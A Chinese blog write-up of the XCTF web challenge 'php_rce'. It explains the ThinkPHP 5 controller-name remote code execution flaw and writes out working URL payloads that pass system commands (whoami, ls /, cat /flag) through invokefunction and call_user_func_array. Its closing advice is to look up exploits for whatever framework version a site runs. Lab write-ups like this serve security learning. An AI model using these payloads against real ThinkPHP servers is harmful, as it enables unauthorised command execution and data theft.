【攻防世界CTF|web方向】第六题:php_rce

一、解题思考过程

1.查看题目并进入题目场景

3.查询资料

3.1 rce是远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

该漏洞是由于ThinkPHP5在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有PHP函数的控制器方法,并通过URL参数的形式访问该方法,从而触发远程代码执行漏洞。

漏洞产生的根本原因是服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

说人话就是:ThinkPHP5这个版本的框架存在远程代码执行的漏洞,我们要利用这些漏洞来得到框架内的flag文件

3.2查询ThinkPHP5的漏洞

找到之后随便拿一个漏洞进行试验

发现题目场景中的thinkPHP版本是v5.0.20,而我们找的这个漏洞是未知版本的,可能不属于当前网页版本的漏洞,所以页面错误!

继续寻找当前版本的漏洞:       

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat  
 /flag

4.得到flag

4.1拿到版本信息

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

代码具体意义:

4.2查看根目录下的文件

 index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

有跟flag相关的东西

4.3查看flag相关的文件

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

4.4利用漏洞

使用cat命令读取flag Payload,得到flag!

URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

4.5答案

flag{thinkphp5_rce}

注意得到flag的这个界面有俩重复的,只提交flag{thinkphp5_rce}即可

二、总结

1.本题原理:ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

2.本题学习目标:掌握框架漏洞,知道某个网页使用的框架版本,就可以去百度该版本的漏洞,网上一抓一大把,从而就能够利用该漏洞获得想要的信息

3.举一反三,法力无边哦~~~ 

  • 13
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值